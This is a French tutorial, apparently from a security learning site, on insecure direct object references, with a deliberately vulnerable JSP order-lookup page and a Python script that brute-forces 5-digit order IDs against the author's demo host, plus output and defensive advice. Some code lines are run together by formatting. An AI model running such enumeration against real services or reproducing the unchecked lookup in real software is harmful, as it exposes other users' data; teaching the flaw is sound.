Contrôle d’accès insuffisant    Enregistrer au format PDF

Labellisée par les instituts CWE/SANS comme Improper Access Control ou Insecure Direct Object Reference, ce type de vulnérabilité affecte les applications qui ne contrôlent pas suffisament les ressources que peuvent accéder les utilisateurs, partant souvent du principe que ceux-ci ne dévieront pas de la navigation normale.


par S3cur3D

Dans la pratique, ce type de problème intervient lors d’accès à des ressources référencées ou indexées. Notamment, le profil de l’utilisateur "1", l’accès au panier "654", etc...
Les applications Web les plus touchées sont sans nul doute les applications de type client/serveur (applets Java, applications Flash/Flex, etc...).
Pour ne pas compliquer inutilement ce petit article, nous considérerons néanmoins un site classique, en JSPs (Java Server Pages), une facilité de scripting en Java, afin d’illustrer ceci.

Un petit exemple

Un petit site d’après-vente très simple, où il est question de retrouver d’après un numéro d’identification, à 5 chiffres, les détails d’une commande passée et d’en effectuer les modifications si nécessaire.

index.jsp / Service après-vente

  1.     <%@ page language="java" contentType="text/html; charset=ISO-8859-1"
  2.         pageEncoding="ISO-8859-1"%> <%@ page import = "java.lang.*" %>
  3.     <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  4.     <%
  5.         Integer id;
  6.         String param = request.getParameter("idCommande");
  7.         if (param == null || param.length() != 5) {
  8.             id = 0; } else {
  9.             try {
  10.                 id = Integer.parseInt(param); } catch (NumberFormatException nfe) {
  11.                 id = 0; } }
  12.  
  13.         /* Emulation d'une fonction de vérification d'existence */
  14.         if (id == 0 || (id != 12345 && id != 23456)) { %>
  15.     <html>
  16.     <head><title>Suivi de votre commande</title></head>
  17.     <body>
  18.     <form method="get" action="/index.jsp">
  19.     Référence de votre commande : <input type="text" maxlen="5" size="5" name="idCommande">
  20.     </form>
  21.     </body>
  22.     </html>
  23.     <%
  24.         } else {
  25.             /* Récuperation de la commande
  26.             * Commande com = getCommandeByID(id);
  27.             * etc...
  28.             */ %>
  29.     <html>
  30.     <head><title>Suivi de votre commande</title></head>
  31.     <body>
  32.     Référence de votre commande : <% out.println(id); %><br />
  33.     Détails de votre commande : [...]<br />
  34.     </body>
  35.     </html>
  36.     <%
  37.         } %>

Télécharger

Vous l’aurez remarqué, faire une page fonctionnelle complète aurait été hors de propos. La fonction de vérification d’existence est simulée par un if, indiquant qu’il n’y a que les références "12345" et "23456" qui existent.
On consulte donc ce petit site en fournissant la référence indiquée sur notre bon de commande, "12345".

La page de détail s’affiche bien donc la commande a été trouvée. Testons donc avec un id au hasard, "31337.

Le site nous renvoie le formulaire de demande de la référence, ce qui correspond bien à ce que nous avons fait. Maintenant, il est temps de s’intéresser à ce qui ne va pas. Deux choses. D’une part, la référence à la commande est directe (référence d’identification de la commande). Autrement dit, si nous trouvons le numéro d’une commande qui n’est pas à nous, nous pouvons quand même afficher la page de détail. D’autre part, l’étendue des numéros est trop petite. En effet, un identifiant à 5 chiffres laisse seulement un centaine de milliers de possibilités, ce qui est très faible comparé à la puissance de calcul informatique actuelle. L’idée serait donc ici de tester tous les numéros afin de trouver ceux qui sont valides.

Avec un programme bateau de brute-force, on peut tester rapidement et trouver des références valides (le programme est volontairement ralenti et utilise le moins de sockets possibles, à cause de lenteurs des fermetures de sockets de httplib et surtout de la faiblesse de la plateforme Tomcat/Java qui est derrière et qui tombe relativement rapidement sur des attaques brutes de ce type en remplissant son heap).

  1. #!/usr/bin/python
  2.  
  3. import httplib
  4. import re
  5. import socket
  6. import time
  7.  
  8. def main():
  9.  
  10.     match = re.compile("tails")
  11.     refs = []
  12.  
  13.     i = 0
  14.     x = time.time()
  15.     while True:
  16.         if i >= 30000:
  17.             break conn = httplib.HTTPConnection("poc.bases-hacking.org:8080")
  18.         print i
  19.         for j in range(0,100):
  20.             conn.request("GET", "/index.jsp?idCommande=" + str(i))
  21.             resp = conn.getresponse()
  22.             data = resp.read()
  23.             if match.search(data) != None:
  24.                 print "Found " + str(i) + " in " + str(time.time() - x) + " seconds"
  25.                 refs.append(i) i = i+1 conn.close()
  26.     if refs != []:
  27.         print "Commandes existantes : ",
  28.         for ref in refs:
  29.             print " " + str(ref), print else:
  30.         print "Aucune commande valide"
  31.  
  32. if __name__ == "__main__":
  33.  
  34.     main()

Télécharger

./brute | grep n
Found 12345 in 12.6583929062 seconds
Found 23456 in 20.1704540253 seconds
Commandes existantes : 12345 23456

Vous l’avez compris, ce genre de danger est présent lors d’accès à des ressources sans avoir besoin de s’authentifier, auquel cas la clé doit être suffisamment difficile à deviner ou brute forcer, ainsi que dans tous les cas où des variables d’identification d’objet sont passées à l’utilisateur puis réutilisées, auquel cas il faut bien vérifier que l’utilisateur a le droit de consulter l’objet.

Documentations publiées dans cette rubrique